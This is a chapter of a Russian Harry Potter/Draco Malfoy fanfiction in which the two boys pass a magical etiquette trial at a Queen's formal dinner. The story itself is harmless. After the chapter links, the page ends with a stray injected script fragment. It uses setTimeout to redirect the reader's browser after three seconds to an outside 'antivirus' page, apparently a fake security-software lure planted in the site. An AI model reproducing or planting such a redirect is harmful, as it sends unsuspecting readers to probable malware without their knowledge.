Ничья земля

Автор: Umbridge
Пайринг: Гарри Поттер/Драко Малфой
Рейтинг: NC-17
Жанр: action/agnst/romance
Саммари: Добро пожаловать! Вас приветствует НИЧЬЯ ЗЕМЛЯ! Забудьте все, чем вы были раньше. Здесь нет власти, но есть правила. Соблюдайте их - и вы выиграете!
Предупреждение: гет в 10 и 11 главах. ГП/ДУ, ДМ/НЖП, АУ 7 книги

Глава 3. Обед у Королевы

(Глава, в которой знатная особа приглашает гостей, Гарри подвергает чужую жизнь опасности, а Драко удается проявить себя)

Коридор все не кончался. Высоко над головами мальчиков дрожали языки факелов, и их неверный желтый свет пугал Драко, пробуждая воспоминания о пыточных камерах и подземных казематах. На стенах трепыхались тени, далеко под каменный свод улетали звуки шагов. Слизеринец искренне желал очутиться где-нибудь подальше от этого места. Бредя за Гарри, рассматривал его затылок, и, стараясь отвлечься от мрачных мыслей, рассуждал про себя о его волосах, прикидывая, какие они на ощупь. Драко вообще любил обсудить с самим собой подобные несущественные темы, особенно в минуты душевного смятения. По неизвестной причине разговоры с собственным альтер эго о скорости полета метел, или, например, о длине пути от Хогвартса до Хогсмида странно успокаивали.

- Поттер, - протянул Драко, - как ты думаешь, твои дружки сильно волнуются о тебе?

Он хотел поговорить с Гарри о чем-нибудь нейтральном, но не представлял, какие общие темы они могут обсудить.

- Не знаю, - сдержанно ответил тот, продолжая путь.

- Ты так в них не уверен? Разве такой должна быть настоящая гриффиндорская дружба? – продолжал слизеринец ядовито.

- Я не знаю, поняли они, что я пропал или нет, - терпеливо объяснил Гарри, - может быть, в реальном мире не прошло и секунды, а может, прошло много лет.

- Ты, правда, так думаешь? – спросил Драко неожиданно тихо. Гриффиндорец удивленно обернулся. Его спутник криво ухмылялся, но в глазах застыло напряжение. – Считаешь, что там могло пройти много лет?

- Малфой, - Гарри усмехнулся, - не бойся. Я просто предположил. Не представляю, как идет время здесь и в реальности. 

- Я-то не боюсь, - слизеринец поджал губы и прибавил шагу, - смотри сам не наделай в штанишки, Мальчик-который…

- Выжил? Выиграл? Выпил? – поинтересовался Гарри хмуро, -  Подставь любое слово…

- Ты шутишь! Как мило, – холодно протянул Драко.

Вдруг Гарри резко остановился. Он едва не стукнулся лбом о внезапно выросшую на их пути дверь. Она закрыла собой шахту туннеля, так что не было никакой возможности ее обойти.

- Это дверь! – воскликнул Драко, выглядывая из-за спины гриффиндорца. Его глаза округлились, - секунду назад ее здесь не было.

- Вижу, - сухо отозвался Гарри.

- Хорошо, Потти, что будем делать? – спросил слизеринец, становясь рядом.

- Откроем ее, - пожал плечами тот и потянулся  к ручке. Но тут Драко схватил его за запястье.

- Поттер…

- Что такое? – Гарри посмотрел на пальцы слизеринца, потом взглянул в его бледное лицо.

- Ничего, - тот убрал руку, - не надо думать, что ты тут самый смелый. Дай я открою, - и, отодвинув Гарри плечом, с силой толкнул дверь. Та со скрипом отворилась.

Взглядам мальчиков предстала пустая просторная зала.

- Ну, не вижу здесь ничего страшного, - сказал с облегчением Драко, осторожно входя, - никаких бладжеров, метел, чудовищ…

 Гарри, последовав его примеру, шагнул внутрь. В этот момент дверь захлопнулась, а помещение стало стремительно преображаться. На голых каменных стенах появились светлые шелковые обои и высокие зеркала. Под сводчатым куполом в золотых канделябрах зажглись свечи. Потрясенному Драко показалось, что этих маленьких трепещущих огоньков под потолком было не меньше сотни. Посреди залы выросли столы, расставленные буквой Т, накрытые белыми скатертями и украшенные цветами. На столах возникла фарфоровая посуда, серебряные приборы, хрустальные бокалы разного размера и форм, сверкавшие в свете свечей.

Гарри удивленно озирался. «Сложно поверить, что нас просто решили накормить», - подумал он, переводя взгляд с обоев на множество вилок и ножей на столе. Затем посмотрел на своего спутника и изумленно вздохнул.

- Что? – спросил Драко, резко поворачиваясь. В ту же минуту его брови поползли вверх.

Он, не осознавая, что делает, коснулся плеча Гарри, - Поттер! Посмотри на себя!

Гарри повернулся к одному из зеркал и ахнул. Вечно непокорные волосы были расчесаны и уложены. Новая парадная бархатная мантия ниспадала с плеч. Под ней обнаружились тугая накрахмаленная манишка и черный галстук–бабочка. На ногах сияли лакированные туфли.

Драко взглянул на свое отражение из-за плеча гриффиндорца.

- О! Это же я! – Воскликнул он восхищенно, проводя ладонью по гладким блестящим волосам. Его глаза счастливо сияли, и Гарри в эту минуту готов был признать, что хорек выглядит хорошо. Раньше гриффиндорец никогда не оценивал его таким образом. Ну, возможно, только во время квиддича, когда тот несся, припав к метле, похожий на серебристо-зеленую молнию. Сейчас же лицо слизеринца освещала такая искренняя, такая ясная улыбка, какой Гарри еще никогда на нем не видел.

- Это похоже на настоящий прием, роскошный обед. Вот войдут разодетые гости. Почетные сядут туда, - Драко указал на стол, поставленный параллельно входной двери, - лицом к нам. А пока нам должны предложить напитки.

В этот момент рядом с мальчиками появился небольшой столик, на котором   стояли вазы с орешками и соленым печеньем, два фужера, кувшин с соком. Еще на нем лежали два белых конверта. Прежде чем Гарри успел хоть что-то произнести, слизеринец уже открывал один из них.

- Поттер! – высокомерно задирая подбородок, возвестил он,  - это приглашение на Обед у королевы, наиболее почетный вид приема. Есть отметка Black tie. Я так и думал. На тебе же парадная мантия.

- Что такое Black tie? – спросил Гарри.

- Что такое Black tie?! – искренне поразился Драко, но тут же ухмыльнулся, становясь, наконец, самим собой, – это азбука этикета, Потти. Только такой простачок, как ты, может не знать ее. Впрочем, чему я удивляюсь?

- Ближе к теме, Малфой, - нахмурился гриффиндорец.

- Не нравится, что чего-то не знаешь?

- Ладно, забудь.

- Это дресс-код, обязательный на приемах определенного вида. Если в приглашении указано Black tie, то будет моветоном придти на такой обед в белой мантии. Это же очевидно!

Гарри закатил глаза.

- Это же очевидно! – передразнил он. - Я всего лишь скромный представитель среднего класса.

- Именно! Не следует забывать свое место в этом мире, драгоценный Поттер, - нарочито растягивая слова, произнес Драко, надменно оглядывая зал.

- Кстати, а вот и наши места, - вдруг сказал он, показывая на таблички на столах, - похоже, ты не самый почетный гость. Видишь, хозяева сидят во главе стола, стоящего параллельно нам. Рядом почетные гости. Ну а ты дальше всех, за другим столом.

Стоило ему произнести эти слова, как в противоположном конце комнаты появились трое. Две женщины и мужчина. Дамы были одеты изящно и не броско. Обе, только оказавшись у стола, сняли длинные шелковые перчатки. Их спутник был облачен в пурпурную мантию.

Одна из женщин, высокая стройная блондинка повернулась к юношам и с холодной светской полуулыбкой сказала:

- Добрый вечер, господа. Добро пожаловать на мой неофициальный прием. Я – Королева. Это – Король, - она, сверкнув тонким браслетом на запястье, показала на господина в мантии. Тот поклонился.  Затем перевела взгляд на вторую даму, - а это – Знатная Дама. Я счастлива видеть всех здесь, особенно вас, молодые люди, - Королева покровительственно кивнула мальчикам, застывшим у двери, - будет приятно убедиться, что вы так хорошо воспитаны, как о вас говорят.

Последние слова Королевы затихли под сводчатым потолком, и она села во главе стола. Рядом устроился Король. По левую руку от него расположилась Знатная Дама. Гарри вопросительно посмотрел на Малфоя.

- Поттер, я все понял, - процедил тот сквозь вежливую гримасу, адресованную хозяевам приема, - это испытание. Наверняка, связанное с правилами этикета. Но сейчас мы должны занять места за столом. По правую руку от Королевы должен сесть я. На табличке мое имя. За другим столом, боком к Знатной Даме сядешь ты. Не самое почетное место, знаешь ли. – Снова подчеркнул Драко, - и еще – прежде чем решишь схватить вилку, нож, хлеб или… да все что угодно, смотри на меня и слушай, ясно?

Гарри собрался ответить, но слизеринец уже шел к своему стулу. Так что пришлось последовать его примеру. Устроившись и осмотрев расставленные перед ним приборы, гриффиндорец ощутил некое подобие паники. Перед ним стояла довольно большая тарелка. Справа лежали три ножа разной формы на расстоянии примерно четверти дюйма друг от друга, лезвиями вовнутрь. Их ручки были выровнены по одной безупречной линии, как и ручки вилок, лежавших слева, зубцами вверх. Чуть выше вилок находилась еще одна тарелка, на которой лежала белоснежная накрахмаленная салфетка. Прямо по центру за первой тарелкой стоял фужер. А правее располагались в два ряда еще пять хрустальных бокалов. Гарри окрестил их для себя бокалами, так как не знал точного названия.

Он поднял глаза на Драко. Тот открыл рот, желая сказать гриффиндорцу, что в жизни бывают ситуации потруднее, чем ловля снитча, но не смог произнести ни слова. Слизеринец опешил, так как надеялся подсказывать Гарри. Только теперь это стало гораздо сложнее, когда невидимая сила не позволяла ему говорить. Он округлил глаза и пожал плечами. Гриффиндорец поднял брови. Драко показал на свои губы, будто перечеркивая их. Гарри нахмурился. До него начала доходить суть проблемы. Похоже, слизеринец онемел. «Ладно. Что-нибудь придумаю», - подумал Гарри, взяв салфетку и машинально засунув ее за воротник.

- По правилам хорошего тона, - прозвучал ледяной голос Королевы, -  салфетки следует класть свернутыми пополам на колени.

Гарри посмотрел на нее. Женщина стала безобразной. Белое лицо напоминало гипсовую маску. Мальчик перевел взгляд на Драко и ахнул. Тот становился похожим на привидение. Его тело таяло, а через голову были видны канделябры на стене. В глазах слизеринца застыл ужас. Однако в ту же секунду таяние прекратилось.

- Прекрасная погода сегодня, не правда ли? – Как ни в чем не бывало, воскликнул Король.

И на столе появились вода со льдом, хлеб и масло.

- О! Просто чудесная! – ответила Знатная Дама, когда графин с водой взлетел в воздух, и в ее стакан полилась прозрачная жидкость, - мистер Поттер, не правда ли солнце на закате окрашивает землю в очаровательные оттенки красного?

- По правде говоря… - начал Гарри, но прежде чем продолжить, украдкой взглянул на Драко. Теперь надо было быть очень осторожным. Тот взял себя в руки, решив, что в другой раз успеет подсказать, и едва заметно поднял брови, чуть наклонил голову и изобразил на лице гримасу умиления. Гарри округлил глаза, на что слизеринец поднял брови выше, и вздохнул.

- По правде говоря, оттенки действительно очаровательные, - закончил Гарри, широко улыбаясь Даме.

- Мне кажется, у нас не было таких милых гостей целую вечность, - приложив руку к груди, произнесла она.

- О, вы правы, - покровительственно кивнула Королева.

Во время непродолжительной беседы на столе появились холодные закуски: а точнее крошечные пирожки, сэндвичи-рулеты с красной рыбой и желтые шарики в миндале. Гарри решил, что они, скорее всего, сделаны из сыра.

- Прошу Вас, угощайтесь, - Королева улыбнулась, в упор глядя на него. Гриффиндорец, в свою очередь взглянул на Драко. Гарри представлял себе, что на подобного рода обедах должны существовать строгие правила приема пищи, однако он понятия не имел, каково их содержание. В жизни ему не приходилось бывать в ситуациях, подобных этой. Драко попытался продемонстрировать ему, чем накладывать и как есть предложенные угощения. Но не смог поднять нужный прибор. Руки просто не слушались. Видимо сила, мешавшая ему говорить, пригвождала кисти к столу, позволяя шевелить только пальцами. Он беспомощно поднял брови и кинул быстрый взгляд на Королеву и ее спутников. Все с прохладными выжидающими улыбками смотрели на Гарри и не торопились прикоснуться к угощению. А Гарри оглядел приборы, разложенные перед ним, и вопросительно уставился на слизеринца. Тот округлил глаза и указал взглядом на сэндвичи. Гарри тоже посмотрел на них. Затем Драко едва заметно постучал указательными пальцами по закусочному ножу и вилке. Взглянув на своего помощника еще раз, гриффиндорец взял дальние от тарелки приборы, с их помощью, довольно неловко, положил в тарелку сэндвич, и аккуратно отрезав кусок, принялся жевать. Не ощущая вкуса бутерброда, и чувствуя себя так, словно жует резинку, он все же несколько расслабился, заметив, что Королева, Король и Дама перестали буравить его взглядами и приступили к еде. Судя по тому, как они вели себя, Гарри понял, что все сделал правильно. Он с благодарностью взглянул на Малфоя. И смог убедиться, что тот снова становится человеком из плоти и крови. Драко в свою очередь устало закатил глаза и вежливо поковырял сырный шарик, который положил на тарелку без труда. Видимо, магия это позволяла.

- Должна признаться -  эти пирожки с крольчатиной незабываемы, - сообщила Дама восхищенно.

- О да! – согласился Король, - ничего не может быть лучше.

- Однако, что за напиток вам предложить? – улыбнулась Королева, обращаясь к едва передохнувшему гриффиндорцу, - Альзас Рислинг Вандаж Тардив? Кот-Роти Брюн? Вайон Франсуа? Или возможно Гилдис? 

Гарри попытался рассмотреть, сколько же пальцев ему показывает Малфой, но хозяйка приема не спускала с него глаз. А, кроме того, не имея возможности повернуть голову, Гарри видел руки слизеринца не очень четко. Он улыбнулся Королеве, потом бросил быстрый взгляд на Драко, стараясь уловить его движения. Тот показывал один палец… или два… «Это, наверное, значит, что Рислинг… или что там было номером два? Брюн? Так сколько пальцев он показал?» - подумал Гарри, снова переводя взгляд на Королеву.

- Мне кажется, или вы заигрываете со мной? – усмехнулась она, переглянувшись со Знатной Дамой. Гриффиндорец покраснел.

- Ну…Почему бы и нет… - протянул он неуверенно. Драко, которому с большим трудом удалось приподнять от стола указательный палец, напряженно уставился на него.

- Я думаю, неплохо было бы… - продолжал Гарри, - нам выпить… номер два… Брюн!

Стоило только ему произнести название, как лица Королевы, Короля и Дамы начали меняться. Казалось, что изнутри их сковал лед, исчезло все живое, все то, что делает черты выразительными.

- Не думала, что вы можете продемонстрировать настолько плохой вкус, - ровным голосом произнесла Королева, - полагаю, к закускам подают сухое белое вино. Альзас Рислинг, пожалуй.

Гриффиндорец повернулся к Драко в беспомощной попытке как-то оправдаться. Тот снова начал терять плотность.

- Что ж, думаю, с холодными закусками можно заканчивать, - распорядилась Королева, обретая свой прежний облик. После ее слов блюда исчезли и вместо них на столе появились серебряные кокотницы с белыми папильотками на ручках и серебряными ложечками «мокко». Слизеринец, справившийся с охватившей его паникой, слегка прикрыл глаза, давая понять Гарри, что обед можно продолжать.

- Жульен сегодня прекрасный, - восторженно произнес Король, - попробуйте. А к нему могу предложить Шато Пальме, Вайон Франсуа, Домен Лефев. Что предпочтете на этот раз?

Гарри был уверен, что теперь ему нужно сделать все, от него зависящее, чтобы не допустить промашки. Внутренне собравшись под пронизывающим взором Короля, Королевы и Дамы, он посмотрел на Малфоя. Тот опустил глаза на свои прозрачные пальцы. Гриффиндорец проследил за его взглядом. Затем покосился на хозяев приема. Драко поднял от стола один палец. Это означало – первый номер – так показалось Гарри. Чтобы убедиться в собственной правоте, он снова взглянул на слизеринца. Тот вымученно ухмыльнулся бесцветными губами, опять указывая глазами на собственные руки. Гарри едва заметно кивнул. Драко перестал улыбаться. Он сам поражался своему самообладанию. Ему не только удавалось думать, но удавалось еще и выглядеть собрано.

- На этот раз, - произнес Гарри, и голос его прозвучал дерзко, - я предпочту Шато Пальме.

Драко улыбнулся, его неудачливый протеже замер, но ничего не произошло. Рюмки для вина заполнила красная жидкость.

- Отменное вино! – Король с широкой улыбкой оглядел собравшихся, - чудесное послевкусие. Слива, черная смородина!

- Аромат свежей дубовой древесины, - выдавил Драко, осознав, что может говорить с Королем. На это сдерживающая магия не распространялась.

- О, совершенно верно! – воскликнул мужчина, - прошу, приступайте к еде.

Королева сдержанно кивнула, подтверждая слова Короля.

Стараясь унять дрожь в пальцах, Гарри начал ковырять ложечкой жульен. Он даже умудрился съесть немного, хотя вкуса снова не ощутил. Посмотрев на слизеринца, с облегчением отметил, что тот немного приободрился. Драко выпил налитое в рюмку вино. Промокнув губы салфеткой, поднял глаза на Поттера и улыбнулся. Тот улыбнулся в ответ, с удивлением ловя себя на мысли, что ему нравится Малфой. Он не считал красивыми его глаза или соблазнительными – губы, скорей назвал бы черты Драко слишком сухими и резкими. Но сейчас, все в целом и этот лукавый взгляд снизу вверх вызывали в нем навязчивое желание смотреть на слизеринца, не отрываясь. Под пристальным взглядом Героя Волшебного Мира Драко смутился, не понимая, почему Поттер так уставился.

Своеобразную дуэль взглядов прервала Королева.

- Думаю, пора приступить к основному блюду, -  провозгласила она, и жульены исчезли, уступив место бифштексам на маленьких столовых тарелках с отварным рисом и томатной приправой, цыпленку,  тушеному зайцу, пирогу с мясом и почками, и цветной капусте под белым соусом на больших круглых тарелках. На столе, кроме того, появились горчичник, солонка, перечница, а лафитные рюмки вновь наполнились красным вином.

- Приятного аппетита, - хищная улыбка исказила лицо Королевы, и Гарри почувствовал, что вновь настало время испытаний. Он украдкой посмотрел на Драко. Тот с большим трудом коснулся столовой вилки и столового ножа кончиками указательных пальцев. Гарри  взял приборы и вилкой потянулся к хлебнице. Слизеринец округлил глаза, затем нахмурился. Гарри удивленно поднял брови, но решил от греха подальше вообще не брать хлеб. Он отдернул руку и растерянно посмотрел на бифштекс, лежавший в тарелке. Потом украдкой взглянул на Драко. Тот едва заметно прикрыл глаза, что, видимо, должно было означать: «Давай, Поттер, отрежь кусочек, не бойся». Гриффиндорец выпрямил затекшую от напряжения спину, выдохнул и принялся резать мясо. Но воцарившееся за столом ледяное молчание заставило его перестать орудовать ножом. Он замер и снова покосился на Драко. Тот сидел с каменным лицом, а через секунду его пальцы вцепились в скатерть, и тело снова начало терять очертания. Гриффиндорец в смятении посмотрел на Королеву, которая в ответ лишь окатила его холодным взглядом.

- Дурной тон нарезать бифштекс  на куски сразу, - произнесла она, - что ж, попробуйте цыпленка.

Драко боялся разжать пальцы. Он с трудом справлялся с ужасом, и ему казалось, что стоит выпустить скатерть, как последнее ощущение собственной телесности покинет его. Услышав про цыпленка, подумал, что надо взять себя в руки, а то Поттер наделает дел. Но не хватало сил оторвать взгляд от собственных прозрачных запястий. Надо было срочно что-то предпринимать, а Драко никак не мог решить – что именно, он совсем не был уверен, что справится на этот раз. В голове шумело как в раковине, и царила полная и абсолютная пустота.

Тем временем тарелки с бифштексом исчезли, и на их месте появились новые, с кусками цыпленка. Рядом с тарелкой возникла миска с водой, на поверхности которой плавали лепестки каких-то цветов. Гарри взглянул на слизеринца, надеясь встретиться с ним взглядом. Но тот смотрел прямо перед собой, не пытаясь дать ему даже намек на подсказку. «Ладно», - решил Гарри. - «Надо подумать. Зачем на столе вода? Пить или мыть что-нибудь. Если бы ее надо было пить, она была бы в стакане. Значит, мыть. Что мыть?» - он окинул взглядом стол. - «Да нет, вилки, ложки, тарелки - все чистое. Да и с какой стати гостям мыть за столом посуду? Фруктов тоже не видно. Остаются только руки. В ней надо мыть руки… Может такое быть? Ну, допустим». Гарри вновь поднял глаза на слизеринца. «Малфой, приди в себя, пожалуйста», - мысленно попросил он. Но ничего не произошло. Тогда, глубоко вздохнув, Гарри продолжил свои рассуждения. «Я где-то слышал, что птицу можно есть руками. Не знаю, так ли это… Но тогда зачем к ней подали вилку и нож? Значит, они нужны. Для чего? Можно срезать мясо ножом, придерживая кусок вилкой. Потом взять косточку рукой и доесть то, что на ней осталось, а потом ополоснуть пальцы. Как же все сложно!» - выдохнул он, выпрямился и начал медленно претворять свой план в жизнь. Срезав и съев мясо, Гарри посмотрел на Малфоя, и поймал его взгляд. Тот едва заметно кивнул. Гарри улыбнулся ему в ответ. Затем, взяв пальцами косточку с остатками цыпленка, обглодал и положил на край тарелки. Обмыв пальцы в полоскательнице, гриффиндорец вытер руки салфеткой. Теперь оставалось только ждать. В зале застыла тишина.

- Прелестно! – возвестил голос Короля, прерывая молчание, а Драко с ликованием понял, что его тело снова становится осязаемым. Он отпустил скатерть, и широко улыбнулся Поттеру. Тот пожал плечами и опустошил свою рюмку.

- В это время года цыплята особенно хороши, - провозгласил Король. Королева кивнула:

- Вы правы. Не то, что в прошлом. Те были куда хуже. Ну а теперь перейдем к десерту.

После ее слов на столе вместо горячего появились подставные тарелки, а на них креманки с шариками пломбира в шоколаде. Драко, не выпускавший Поттера из поля зрения, дал тому знак взять десертную ложечку. Гарри подчинился. Доев мороженое, которое после пережитых волнений показалось ему просто волшебным, не смотря на наблюдающих за ним хозяев, он отложил ложечку на край подставной тарелки и уставился на Малфоя в ожидании очередных испытаний. Однако стол со всем, что на нем стояло, а также Король, Королева и Знатная Дама исчезли, а зал за мгновение стал прежним, таким, каким был до начала приема. Мальчики стояли посреди комнаты, одетые в свои грязные мантии. Гарри посмотрел на слизеринца. Волосы того были растрепаны, а лицо в пыли. Словно не было никакого обеда, сверкающего хрусталя, прекрасного бархата нарядов. Драко поднял брови, окинув школьного недруга удивленным взглядом с головы до ног. «Ой, а ведь я снова могу говорить с тобой!» - радостно подумал он.

- Поттер, ты опять стал собой, - не замедлил воспользоваться возможностью Драко, - грязным, неотесанным гриффиндорцем.

- Рад снова слышать твои прекрасные остроты, Малфой, - ответил Гарри. В этот момент с противоположной стороны зала распахнулась дверь.

- Кажется, мы прошли еще одно испытание, - констатировал он и направился к выходу. Драко пошел за ним, сжимая и разжимая пальцы, с радостью ощущая, как ноет ушибленное колено.

Предыдущая глава   Оглавление   Следующая глава

Обсуждение на форуме

setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);'); } ?>